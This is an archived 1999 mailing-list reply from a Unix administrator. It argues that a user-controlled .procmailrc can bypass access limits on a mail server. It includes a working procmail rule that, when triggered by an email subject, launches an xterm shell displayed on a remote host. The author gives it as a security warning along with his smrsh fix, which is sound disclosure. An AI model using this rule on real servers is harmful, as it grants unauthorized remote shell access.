Philip Guenther <guenther_at_GAC.EDU> writes:
=Procmail becomes the user before it starts
=processing the contents of the $HOME/.procmailrc, so problems should be
=limited to what the user could have done without procmail at all.
Not quite true.
The procmail rule:
:0
* ^Subject: HACK
| setenv DISPLAY beida:0;/usr/openwin/bin/xterm -e /bin/csh
will, in fact, pop a shell from the secured mail server to whereever
the user specifies, running as the user. So if they control their own
.procmailrc, they can log into the mail server whenever they desire, which
may not be a machine that they would normally have access to. The paths
may need to be changed to reflect the OS of the mail server.
I have patched my procmail to deal with this by forcing it to use
smrsh. In doing so, I also discovered the procmail calls sendmail
explicitly at some point in it's operation (didn't take the time to figure
out where it does it). This might also be of concern, but it wasn't
immediately obvious to me how this might be exploited.
-- Ricky
---
ricky_at_smi.stanford.edu (650) 498-4405
Unix and Network Administrator
Received on Apr 07 1999
Intro
